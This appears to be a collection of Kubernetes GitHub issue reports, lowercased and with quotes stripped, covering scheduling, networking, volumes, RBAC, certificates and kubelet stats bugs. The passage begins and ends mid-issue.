gittreestate:\ clean\ , builddate:\ 2018-09-07t12:30:06z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0+d4cacc0\ , gitcommit:\ d4cacc0\ , gittreestate:\ clean\ , builddate:\ 2018-09-07t12:30:06z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : kubectl os: fedora 28, gnome-terminal 3.28.2\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

when the node clearly didn't have enough resources, scheduler still binds the pod to the node. the pod was eventually rejected by kubelet due to  capacityexceeded . this might be working as intended, but is there any reason not to reject the pod upfront when scheduling?      i0708 00:50:09.864828      10 factory.go:214  about to try and schedule pod monitoring-heapster-v5-ss0e0 i0708 00:50:09.865049      10 priorities.go:38  combined requested resources 1400 from existing pods exceeds capacity 1000 on node e2e-test-yjhong-minion-fsgq i0708 00:50:09.865187      10 factory.go:312  attempting to bind monitoring-heapster-v5-ss0e0 to e2e-test-yjhong-minion-fsgq i0708 00:50:09.896511      10 event.go:203  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ monitoring-heapster-v5-ss0e0\ , uid:\ 48a602f3-250b-11e5-a4f0-42010af00ca3\ , apiversion:\ v1\ , resourceversion:\ 1122\ , fieldpath:\ \ } : reason: 'scheduled' successfully assigned monitoring-heapster-v5-ss0e0 to e2e-test-yjhong-minion-fsgq      /cc @davidopp

during  20544, i found that when i added client generation for a new type, the  expansion  type for that type was not generated correctly, and i had to add:      go type configmapexpansion interface{}      to  pkg/client/typed/generated/legacy/unversioned/generated_expansion.go

i have a use case and i can't find a solution from within the k8s way of doing things. am i missing something or is it by design?  i want to have a single unified url for clients to connect through. i want each new request to be routed to a brand new container that is kick started just for the request. the program on the container will exit straight after responding to request and hence docker will shut down the container. in fact the program will respond with an error if another client tried to connect while it is working on first request, hence another request must not be allowed to connect to it in the first place.  i'm assuming for the single unified url i need a service. i'm not sure if a job is appropriate for managing my pod. i also need everything to scale horizontally and create new nodes if no new pods can be made in node  hard to do well because the pods will shut down quickly after serving one request  not sure if a replication manager is needed or how to configure it since the number of pods will map 1 to 1 per request from user.

if you look at all the links in the \ definitions\  sections in the reference docs  e.g. the links in the descriptions of \ type\  and \ clusterip\  in  servicespec  http://kubernetes.io/docs/api-reference/v1/definitions/ _v1_servicespec  , the links are broken because they refer to urls with  .md  in them.  it would be nice for those links to be turned into the correct links  which all seem to mean just replacing the \ .md\  with a \ /\  .  i'm not sure what publishing tool is used to handle the docs, but it maybe needs to dig a bit deeper.

reported by a user in slack:  running minikube.  container uses docker's user directive in dockerfile.  want to run pod in minikube to dev and cloud for prod.  the only pv we support so far is hostpath.  user experiences failure to write to pv.  suggested fix was  fsgroup , but hostpath does not support volume ownership management.  need a better abstraction here.  overlaps with  30044 perhaps?  @bprashanth @pmorie @matchstick

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging/51/  failed:  k8s.io  probing container should  not  be restarted with a exec \ cat /tmp/health\  liveness probe  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:147 getting pod  expected error:     < errors.statuserror | 0xc820dc2200>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server has asked for the client to provide credentials  get pods liveness-exec \ ,             reason: \ unauthorized\ ,             details: {                 name: \ liveness-exec\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ unauthorized\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 401,         },     }     the server has asked for the client to provide credentials  get pods liveness-exec  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:350

kubernetes version v1.5.2\r \r if you use a resource request / limit with scientific notation plus a unit it will fail the regex that is doing validation.\r \r example of what is being posted:\r \r    \r {\ kind\ :\ persistentvolumeclaim\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test\ ,\ labels\ :{},\ annotations\ :{\ volume.beta.kubernetes.io/storage-class\ :\ ebs\ }},\ spec\ :{\ resources\ :{\ requests\ :{\ storage\ :\ 1e-7ti\ }},\ accessmodes\ : \ readwriteonce\  }}\r    \r \r error being returned:\r    \r persistentvolumeclaim in version \ v1\  cannot be handled as a persistentvolumeclaim: quantities must match the regular expression '^  +- ? 0-9. +   eeinumkkmgtp   -+ ? 0-9   $'\r    \r \r you can see clearly in the regular expression that it can't handle scientific notation with a unit.

wanted to post this here as well for more coverage  posted on the tectonic forum . this has got to be a similar problem for anyone with an internal host utilizing flannel on top of k8s.\r \r     k8s version \r \r 1.5.2  tectonic \r \r     environment\r \r   1x controller node is vps with public ipv4 address  vultr allows for ipxe endpoints \r   1x worker node  bare-metal  behind nat address  so interface has internal ip but has to be accessed via external public ip \r \r     current status\r \r my cluster is 3/4 of the way created; hanging at  waiting for kubernetes components.  via a  journalctl \r presumably, this is because flannel is having a heart attack over the worker node ip.\r \r pre-1.5, you just needed something like:\r \r    \r $ cat /etc/systemd/system/flanneld.service.d/10-custom.conf  \r  service \r environment=\ flanneld_public_ip=1.2.3.4\ \r    \r now, it seems flannel is running as a daemonset, which makes configuring it a bit harder.\r \r      what i've tried\r \r i took a look at its yaml config and see that it takes some configuration from  on the host   /etc/kubernetes/cni/net.d , but that config seems to be specific to what it provides, not core configuration like  --public-ip :\r \r    \r worker net.d   cat 10-flannel.conf\r {\r   \ name\ : \ cbr0\ ,\r   \ type\ : \ flannel\ ,\r   \ delegate\ : {\r     \ isdefaultgateway\ : true\r   }\r }\r    \r \r additionally, i tried doing an edit on the daemonset directly to add the  --public-ip  option to the command using:\r \r    \r kubectl edit ds/kube-flannel -n kube-system\r    \r \r unfortunately, i get a  invalid value: \ the edited file failed validation\ : the server does not allow access to the requested resource  : \r \r   is there another way to achieve what i'm trying to do in this new flannel deployment model? or, what am i doing wrong?  \r \r     outputs\r \r some details to show what's going on. let me know if you'd like more to help diagnose.\r \r    \r └ ~ > kubectl get ds -n kube-system -o wide\r name                   desired   current   ready     node-selector   age       container s                image s                                                                    selector\r checkpoint-installer   1         1         1         master=true     21h       checkpoint-installer       quay.io/coreos/pod-checkpointer:5b585a2d731173713fa6871c436f6c53fa17f754   k8s-app=pod-checkpoint-installer\r kube-apiserver         1         1         1         master=true     21h       kube-apiserver             quay.io/coreos/hyperkube:v1.5.2_coreos.1                                   k8s-app=kube-apiserver\r kube-flannel           2         2         1         <none>          21h       kube-flannel,install-cni   quay.io/coreos/flannel:v0.7.0-amd64,busybox                                app=flannel,tier=node\r kube-proxy             2         2         2         <none>          21h       kube-proxy                 quay.io/coreos/hyperkube:v1.5.2_coreos.1                                   k8s-app=kube-proxy\r \r    \r \r    \r └ ~ > kubectl get pods -n kube-system        \r name                                                ready     status              restarts   age\r checkpoint-installer-9dm3l                          1/1       running             0          21h\r kube-apiserver-wcjnw                                1/1       running             3          21h\r kube-controller-manager-3654003418-vdl6b            0/1       containercreating   0          21h\r kube-controller-manager-3654003418-xjmfv            1/1       running             0          21h\r kube-dns-4101612645-rsffh                           0/4       containercreating   0          21h\r kube-flannel-2x4j5                                  2/2       running             0          21h\r kube-flannel-rcwps                                  1/2       crashloopbackoff    257        21h\r kube-proxy-71stj                                    1/1       running             0          21h\r kube-proxy-ddcvb                                    1/1       running             0          21h\r kube-scheduler-850181384-1n4mr                      0/1       containercreating   0          21h\r kube-scheduler-850181384-kkcb9                      1/1       running             0          21h\r pod-checkpointer-tectonic-controller-01.arroyo.io   1/1       running             0          21h\r \r    \r \r    \r └ ~ > kubectl get ds/kube-flannel -n kube-system -o wide  \r name           desired   current   ready     node-selector   age       container s                image s                                       selector\r kube-flannel   2         2         1         <none>          21h       kube-flannel,install-cni   quay.io/coreos/flannel:v0.7.0-amd64,busybox   app=flannel,tier=node\r \r    \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r omitempty\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\ , gitcommit:\ a845e3e936e91cd14c4c5b462631233716d5839b\ , gittreestate:\ dirty\ , builddate:\ 2017-03-27t14:04:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1487+a845e3e936e91c-dirty\ , gitcommit:\ a845e3e936e91cd14c4c5b462631233716d5839b\ , gittreestate:\ dirty\ , builddate:\ 2017-03-27t14:04:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r doesn't matter.\r \r   what happened  :\r \r when i'm getting psp in yaml format   kubectl get psp <name> -o yaml   i don't see all the fields because some of them have default values and are omitted.\r \r the same happens when i'm trying to edit psp   kubectl edit psp <name>  . in the later case it looks even more mysterious because after editing field and changing its value to  false , on next edit this field will disappear.\r \r   what you expected to happen  :\r \r i expect to see all the fields with their values even if they have default values.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1.  psp_admission=true allow_privileged=true allow_security_context=true allow_any_token=true enable_rbac=true runtime_config=\ extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true\  hack/local-up-cluster.sh \r 2.  kubectl get psp restricted -o yaml \r \r \r

currently, in order for a deployment to rollback:\r i. a user needs to set  d.spec.rollbackto.revision \r ii. the controller notices the populated rollback spec and it updates the pod template of the deployment plus it cleans up the  rollbackto  field.\r \r step ii. is breaking the declarative model for the deployment api. we should consider dropping  rollbackto  from the spec and instead either 1. make the  deployments/{name}/rollback  endpoint perform the rollback or 2. have the rollback endpoint simply return a dry-run of the rolled back deployment which then clients can put.\r \r if we do 1. we need an option for dry-run, 2. is what we do in openshift.\r \r @kubernetes/sig-apps-api-reviews \r \r ps. sparked by the decision to have rollback client-side initially for daemonsets and statefulsets.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i had a couple pods end up with no ip after a restart of kubelet. with no network, they're not able to function properly.\r \r    \r $ kubectl get po -n kube-system heapster-v1.4.0-2334915603-qzq18 -o wide\r name                               ready     status    restarts   age       ip        node\r heapster-v1.4.0-2334915603-qzq18   4/4       running   29         2h        <none>    ip-172-31-28-248\r    \r \r this message from kubelet logs is spammed indefinitely:\r    \r w0705 18:17:32.236607   15544 docker_sandbox.go:342  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ heapster-v1.4.0-2334915603-qzq18_kube-system\ : unexpected command output device \ eth0\  does not exist.\r w0705 18:17:33.294672   15544 docker_sandbox.go:342  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ heapster-v1.4.0-2334915603-qzq18_kube-system\ : unexpected command output device \ eth0\  does not exist.\r ...\r    \r \r   what you expected to happen  :\r \r the pods should get ips assigned to them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this seems to occur occasionally when kubelet is restarted during pod creation:\r \r 1. set up a kubernetes cluster with cni and flannel\r 2. create a simple pod, e.g. ubuntu or busybox\r 3. as soon as the pod enters containercreating state, restart kubelet\r 4. wait for pod to come up, check ip with  kubectl get po -o wide \r \r about 50% of the time for me, the pod will come up with no ip and stay that way.\r \r   anything else we need to know?  :\r \r user can work around this by recreating the pods.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-1020-aws\r - install tools: juju\r - others:\r

 \r   what happened  :\r we constantly log message like \r    \r loadbalancerrr: removing endpoints for ops-health-monitoring/pull-07062050z-ie:8080-tcp\r    \r at v 2  that don't tell any useful information.\r \r https://github.com/kubernetes/kubernetes/pull/48635

is this a bug report or feature request?  :\r \r  >  \r   what happened  :\r    \r kube-aggregator --help\r ...\r       --proxy-client-cert-file string    client certificate used identify the proxy to the api server\r       --proxy-client-key-file string     client certificate key used identify the proxy to the api server\r ...\r    \r \r   what you expected to happen  :\r \r    \r kube-aggregator --help\r ...\r       --proxy-client-cert-file string    client certificate used to identify the proxy to the api server\r       --proxy-client-key-file string     client key used to identify the proxy to the api server\r ...\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r as above.\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r on most of our gke clusters   fluentd-gcp-v2.0   works fine, but our production clusters has most of the pods constantly crash looping due to the following startup error:\r \r    \r unexpected error error_class=errno::eaddrinuse error= <errno::eaddrinuse: address already in use - bind 2  for 0.0.0.0:31337>\r    \r \r running  sudo netstat -tulpn | grep 31337  on one of the problematic hosts shows the port to be in use by kube-proxy:\r \r    \r tcp6       2      0 :::31337                :::                     listen      1821/kube-proxy \r    \r \r the deamonset has  hostnetwork: true  but does not specify port 31337 because it's only scraped by the  prometheus-to-sd-exporter  sidecar container and doesn't necessarily need to be exposed on the host i guess.\r \r is there a reason for fluentd to require  hostnetwork: true ? in case it does is there a way to avoid conflicts by specifying the port in the daemonset so kubernetes actually knows someone wants to use it?\r \r   what you expected to happen  :\r \r fluentd to run fine without crash looping.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run another deamonset with  hostnetwork: true  and listening to port 31337.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r \r gke master version 1.7.6-gke.1, node version 1.7.2\r \r - os  e.g. from /etc/os-release :\r \r    \r build_id=9460.73.0\r name=\ container-optimized os\ \r kernel_commit_id=e6c7193d61d7affc144ad703b74524ddd574d2ee\r google_crash_id=lakitu\r version_id=59\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=59\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux gke-production-europ-auto-scaling-pre-204b0978-ldzl 4.4.52+  1 smp thu jul 13 11:47:20 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r   what you expected to happen  :\r be able to dynamically provision an aws ebs volume from a snapshot\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r right now it's not possible to dynamically provision an ebs volume from a snapshot. this is a very useful feature for testing, for example. you can spin a database ready with a dataset in seconds.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.9\r - cloud provider or hardware configuration: aws\r

is this a bug report or feature request?  :\r  \r   what happened  :\r    console\r $ make quick-verify \r running in quick mode  -q flag . only fast checks will run.\r skipping hack/make-rules/../../hack/verify-all.sh\r verifying hack/make-rules/../../hack/verify-api-groups.sh\r hack/make-rules/../../hack/verify-api-groups.sh: line 76: group_dirnames @ : unbound variable\r failed   hack/make-rules/../../hack/verify-api-groups.sh\t0s\r ...\r    \r \r the same happens when i'm running script manually:\r \r    console\r $ hack/verify-api-groups.sh\r hack/verify-api-groups.sh: line 76: group_dirnames @ : unbound variable\r    \r \r   what you expected to happen  :\r it should correctly handle the situation when  group_dirnames  is empty.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the  hack/verify-api-groups.sh  in such a way so the  group_dirnames  array will be empty.\r \r   git revision:  \r ec036d9c0e20c16ee24b0dfd12bde66b8a178928

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r tls bootstrapping kubelet option  rotatekubeletservercertificate = true  credentials created  kubelet-server-current.pem  request dns or ip sans.\r \r ! image  https://user-images.githubusercontent.com/13043245/34508676-f300ef66-f07c-11e7-8dfe-1f06979ec5d6.png \r \r ! image  https://user-images.githubusercontent.com/13043245/34508679-06201f4a-f07d-11e7-8732-8b9e63a6a810.png \r \r \r   what you expected to happen  :\r \r tls bootstrapping kubelet option  rotatekubeletservercertificate = true  credentials created  kubelet-server-current.pem  not request dns or ip sans.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start kubelet with the  --feature-gates = rotatekubeletservercertificate = true  option and approve the csr request\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    sh\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r kvm 4g 1u\r \r - os  e.g. from /etc/os-release :\r \r ubuntu 16.04\r \r - kernel  e.g.  uname -a  :\r \r linux k1.node 4.4.0-103-generic  126-ubuntu smp mon dec 4 16:23:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r hyperkube\r \r \r   some questions:  \r \r how to understand 'kubelet server'? is kubelet 10250 port exposed api it? where will use  kuletlet-server-current.pem  certificate requested by selfnodeserver?\r \r i saw that kubelet created a  kubelet.crt  ca certificate and used it on port 10250; so for now i do not understand what  selfnodeserver ,  kubelet server  means\r \r \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r i add --authorization-mode=rbac to apiserver and restart kube-apiserver then create a role and rolebinding following\r \r  root@controller:/home/ubuntu/rbac $ cat role.yaml\r    yaml\r kind: role\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   namespace: rbac\r   name: pod-reader\r rules:\r - apigroups:  \ \     \ \  indicates the core api group\r   resources:  \ pods\  \r   verbs:  \ get\ , \ watch\ , \ list\  \r    \r \r  root@controller:/home/ubuntu/rbac $ cat rolebinding.yaml\r \r    yaml\r   this role binding allows \ jane\  to read pods in the \ default\  namespace.\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: read-pods\r   namespace: rbac\r subjects:\r - kind: user\r   name: jane\r   apigroup: rbac.authorization.k8s.io\r roleref:\r   kind: role\r   name: pod-reader\r   apigroup: rbac.authorization.k8s.io\r    \r \r but how can i create many user in k8s cluster? i command with: kubectl get  no type user? maybe i cannot understand the kind:user thanks\r https://v1-8.docs.kubernetes.io/docs/admin/authorization/rbac/\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

two or more pods are allowed to use the same volume. if pods are using in-line volume spec  directly put the volume spec into the pod spec , the volume specs in different pods' spec could have different names. with current data structure in volume manager, we might hit conflicts as explained below. \r \r give two pod spec example\r \r    \r \t   apiversion: v1\r \t   kind: pod\r \t   metadata:\r \t     name: test-pd1\r \t  spec:\r \t     containers:\r \t     - image: k8s.gcr.io/test-webserver\r \t     \t name: test-container\r \t     \t volumemounts:\r \t     \t - mountpath: /test-pd\r \t     \t   name: test-volume\r \t     volumes:\r \t     - name: test-volume-0\t\t\t<- innervolumespecname\r \t     \t gcepersistentdisk:\r \t     \t   pdname: my-data-disk\r \t     \t   fstype: ext4\r    \r \r    \r \t   apiversion: v1\r \t   kind: pod\r \t   metadata:\r \t     name: test-pd2\r \t  spec:\r \t     containers:\r \t     - image: k8s.gcr.io/test-webserver\r \t     \t name: test-container\r \t     \t volumemounts:\r \t     \t - mountpath: /test-pd\r \t     \t   name: test-volume\r \t     volumes:\r \t     - name: test-volume-1\t\t\t<- innervolumespecname\r \t     \t gcepersistentdisk:\r \t     \t   pdname: my-data-disk\r \t     \t   fstype: ext4\r    \r \r suppose test-p1 is created first. the pod volume dir would be /var/lib/kubelet/pods/{pod-uid}/volumes/kubernetes.io~gce-pd/test-volume-0. this volume spec will be added into actual state  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/cache/actual_state_of_world.go l376\r \r when test-p2 is created, the pod volume dir would be /var/lib/kubelet/pods/{pod-uid}/volumes/kubernetes.io~gce-pd/test-volume-1. but when it tries to add to the actual state, since the volume was added to the state for pod test-p1, the volume spec will not be updated. \r the problem caused by this is when pod test-p2 is deleted, it will construct the wrong volume path which is the path for the first pod volume and fail to finish the tear down process correctly.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r kubelet provides a lot of stats by  /stats/summary  on linux, e.g. \r \r    json\r {\r   \ node\ : {\r    \ nodename\ : \ k8s-agentpool1-27347916-0\ ,\r    \ systemcontainers\ :  \r     {\r      \ name\ : \ pods\ ,\r      \ starttime\ : \ 2018-03-30t07:12:34z\ ,\r      \ cpu\ : {\r       \ time\ : \ 2018-04-02t12:46:06z\ ,\r       \ usagenanocores\ : 7899242,\r       \ usagecorenanoseconds\ : 1229924549983\r      },\r      \ memory\ : {\r       \ time\ : \ 2018-04-02t12:46:06z\ ,\r       \ availablebytes\ : 118094712832,\r       \ usagebytes\ : 171716608,\r       \ workingsetbytes\ : 171560960,\r       \ rssbytes\ : 129269760,\r       \ pagefaults\ : 0,\r       \ majorpagefaults\ : 0\r      },\r      \ userdefinedmetrics\ : null\r     },\r     {\r      \ name\ : \ kubelet\ ,\r      \ starttime\ : \ 2018-04-02t06:20:17z\ ,\r      \ cpu\ : {\r       \ time\ : \ 2018-04-02t12:46:07z\ ,\r       \ usagenanocores\ : 28657903,\r       \ usagecorenanoseconds\ : 617614332776\r      },\r      \ memory\ : {\r       \ time\ : \ 2018-04-02t12:46:07z\ ,\r       \ usagebytes\ : 83517440,\r       \ workingsetbytes\ : 83288064,\r       \ rssbytes\ : 68513792,\r       \ pagefaults\ : 3879438,\r       \ majorpagefaults\ : 0\r      },\r      \ userdefinedmetrics\ : null\r     },\r     {\r      \ name\ : \ runtime\ ,\r      \ starttime\ : \ 2018-03-30t07:12:34z\ ,\r      \ cpu\ : {\r       \ time\ : \ 2018-04-02t12:46:05z\ ,\r       \ usagenanocores\ : 4746092,\r       \ usagecorenanoseconds\ : 1940213792740\r      },\r      \ memory\ : {\r       \ time\ : \ 2018-04-02t12:46:05z\ ,\r       \ usagebytes\ : 1575313408,\r       \ workingsetbytes\ : 360296448,\r       \ rssbytes\ : 176521216,\r       \ pagefaults\ : 58918642,\r       \ majorpagefaults\ : 0\r      },\r      \ userdefinedmetrics\ : null\r     }\r     ,\r    \ starttime\ : \ 2018-03-30t07:12:34z\ ,\r    \ cpu\ : {\r     \ time\ : \ 2018-04-02t12:46:06z\ ,\r     \ usagenanocores\ : 74852623,\r     \ usagecorenanoseconds\ : 11928122042675\r    },\r    \ memory\ : {\r     \ time\ : \ 2018-04-02t12:46:06z\ ,\r     \ availablebytes\ : 117025046528,\r     \ usagebytes\ : 3479334912,\r     \ workingsetbytes\ : 1241227264,\r     \ rssbytes\ : 603840512,\r     \ pagefaults\ : 71816,\r     \ majorpagefaults\ : 89\r    },\r    \ network\ : {\r     \ time\ : \ 2018-04-02t12:46:06z\ ,\r     \ name\ : \ eth0\ ,\r     \ rxbytes\ : 7690944690,\r     \ rxerrors\ : 0,\r     \ txbytes\ : 867871242,\r     \ txerrors\ : 0,\r     \ interfaces\ :  \r      {\r       \ name\ : \ eth0\ ,\r       \ rxbytes\ : 7690944690,\r       \ rxerrors\ : 0,\r       \ txbytes\ : 867871242,\r       \ txerrors\ : 0\r      },\r      {\r       \ name\ : \ cbr0\ ,\r       \ rxbytes\ : 77920443,\r       \ rxerrors\ : 0,\r       \ txbytes\ : 456800874,\r       \ txerrors\ : 0\r      }\r      \r    },\r    \ fs\ : {\r     \ time\ : \ 2018-04-02t12:46:06z\ ,\r     \ availablebytes\ : 27561127936,\r     \ capacitybytes\ : 31158935552,\r     \ usedbytes\ : 3581030400,\r     \ inodesfree\ : 3746365,\r     \ inodes\ : 3840000,\r     \ inodesused\ : 93635\r    },\r    \ runtime\ : {\r     \ imagefs\ : {\r      \ time\ : \ 2018-04-02t12:46:06z\ ,\r      \ availablebytes\ : 27561127936,\r      \ capacitybytes\ : 31158935552,\r      \ usedbytes\ : 1280176106,\r      \ inodesfree\ : 3746365,\r      \ inodes\ : 3840000,\r      \ inodesused\ : 93635\r     }\r    },\r    \ rlimit\ : {\r     \ time\ : \ 2018-04-02t12:46:15z\ ,\r     \ maxpid\ : 131072,\r     \ curproc\ : 1041\r    }\r   },\r   \ pods\ :  \r    {\r     \ podref\ : {\r      \ name\ : \ nginx-768979984b-nb4fk\ ,\r      \ namespace\ : \ default\ ,\r      \ uid\ : \ c638a659-3647-11e8-8360-000d3a187d63\ \r     },\r     \ starttime\ : \ 2018-04-02t07:30:53z\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ nginx\ ,\r       \ starttime\ : \ 2018-04-02t07:40:25z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2018-04-02t12:46:14z\ ,\r        \ usagenanocores\ : 4266,\r        \ usagecorenanoseconds\ : 228854862\r       },\r       \ memory\ : {\r        \ time\ : \ 2018-04-02t12:46:14z\ ,\r        \ usagebytes\ : 2830336,\r        \ workingsetbytes\ : 2789376,\r        \ rssbytes\ : 1425408,\r        \ pagefaults\ : 668,\r        \ majorpagefaults\ : 0\r       },\r       \ rootfs\ : {\r        \ time\ : \ 2018-04-02t12:46:14z\ ,\r        \ availablebytes\ : 27561127936,\r        \ capacitybytes\ : 31158935552,\r        \ usedbytes\ : 65536,\r        \ inodesfree\ : 3746365,\r        \ inodes\ : 3840000,\r        \ inodesused\ : 14\r       },\r       \ logs\ : {\r        \ time\ : \ 2018-04-02t12:46:14z\ ,\r        \ availablebytes\ : 27561127936,\r        \ capacitybytes\ : 31158935552,\r        \ usedbytes\ : 20480,\r        \ inodesfree\ : 3746365,\r        \ inodes\ : 3840000,\r        \ inodesused\ : 93635\r       },\r       \ userdefinedmetrics\ : null\r      }\r      ,\r     \ cpu\ : {\r      \ time\ : \ 2018-04-02t12:46:07z\ ,\r      \ usagenanocores\ : 12110,\r      \ usagecorenanoseconds\ : 236252462\r     },\r     \ memory\ : {\r      \ time\ : \ 2018-04-02t12:46:07z\ ,\r      \ usagebytes\ : 3186688,\r      \ workingsetbytes\ : 3145728,\r      \ rssbytes\ : 1470464,\r      \ pagefaults\ : 0,\r      \ majorpagefaults\ : 0\r     },\r     \ network\ : {\r      \ time\ : \ 2018-04-02t12:46:13z\ ,\r      \ name\ : \ eth0\ ,\r      \ rxbytes\ : 508600,\r      \ rxerrors\ : 0,\r      \ txbytes\ : 273248,\r      \ txerrors\ : 0,\r      \ interfaces\ :  \r       {\r        \ name\ : \ eth0\ ,\r        \ rxbytes\ : 508600,\r        \ rxerrors\ : 0,\r        \ txbytes\ : 273248,\r        \ txerrors\ : 0\r       }\r       \r     },\r     \ volume\ :  \r      {\r       \ time\ : \ 2018-04-02t07:31:18z\ ,\r       \ availablebytes\ : 59133124608,\r       